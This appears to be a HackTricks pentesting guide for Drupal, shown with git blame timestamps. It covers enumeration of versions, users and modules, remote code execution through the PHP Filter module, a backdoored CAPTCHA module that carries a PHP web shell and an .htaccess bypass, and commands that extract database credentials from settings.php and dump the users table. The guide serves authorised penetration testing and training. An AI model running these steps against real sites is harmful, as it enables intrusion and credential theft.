hacktricks/network-services-pentesting/pentesting-web/drupal.md

205 lines
8.1 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:24:39 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:24:39 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-09-09 11:57:02 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:24:39 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 07:15:24 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-12-31 01:24:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2022-10-02 23:08:05 +00:00
## Discovery
* Check **meta**
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Node**: Drupal **indexes its content using nodes**. A node can **hold anything** such as a blog post, poll, article, etc. The page URIs are usually of the form `/node/<nodeid>`.
```bash
curl drupal-site.com/node/1
```
## Enumeration
Drupal supports **three types of users** by default:
1. **`Administrator`**: This user has complete control over the Drupal website.
2. **`Authenticated User`**: These users can log in to the website and perform operations such as adding and editing articles based on their permissions.
3. **`Anonymous`**: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.
### Version
2022-04-28 16:01:33 +00:00
2022-10-02 23:08:05 +00:00
* Check `/CHANGELOG.txt`
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Newer installs of Drupal by default block access to the `CHANGELOG.txt` and `README.txt` files.
{% endhint %}
### Username enumeration
#### Register
2021-11-30 16:46:07 +00:00
In _/user/register_ just try to create a username and if the name is already taken it will be notified:
![](<../../.gitbook/assets/image (254).png>)
2022-10-02 23:08:05 +00:00
#### Request new password
If you request a new password for an existing username:
![](<../../.gitbook/assets/image (255).png>)
If you request a new password for a non-existent username:
![](<../../.gitbook/assets/image (256).png>)
2022-10-02 23:08:05 +00:00
### Get number of users
Accessing _/user/\<number>_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
2022-10-02 23:08:05 +00:00
### Hidden pages
**Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\
You could find **hidden pages** (test, dev) which are not referenced by the search engines.
2022-10-02 23:08:05 +00:00
#### Installed modules info
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2022-10-02 23:08:05 +00:00
### Automatic
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
### With PHP Filter Module
{% hint style="warning" %}
In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated."
{% endhint %}
2021-11-30 16:46:07 +00:00
You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)
2022-04-28 23:27:22 +00:00
Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
![](<../../.gitbook/assets/image (247) (1).png>)
Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_
2023-03-04 19:33:37 +00:00
![](<../../.gitbook/assets/image (253) (1).png>)
2022-10-02 23:08:05 +00:00
Finally just access the newly created node:
```bash
curl http://drupal-site.local/node/3
```
### Install PHP Filter Module
From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
1. Download the most recent version of the module from the Drupal website.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
2023-01-02 12:00:18 +00:00
3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
2022-10-02 23:08:05 +00:00
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
### Backdoored Module
A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Download the archive and extract its contents.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Create a **PHP web shell** with the contents:
```php
<?php
system($_GET["cmd"]);
?>
```
* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.
2022-05-01 16:57:45 +00:00
## Post Exploitation
2021-04-01 21:42:37 +00:00
2022-05-01 16:57:45 +00:00
### Read settings.php
2021-04-01 21:42:37 +00:00
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### Dump users from DB
2021-04-01 21:42:37 +00:00
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2022-04-28 16:01:33 +00:00
2022-10-02 23:08:05 +00:00
## References
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:24:39 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:24:39 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-09-09 11:57:02 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:24:39 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 07:15:24 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-12-31 01:24:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>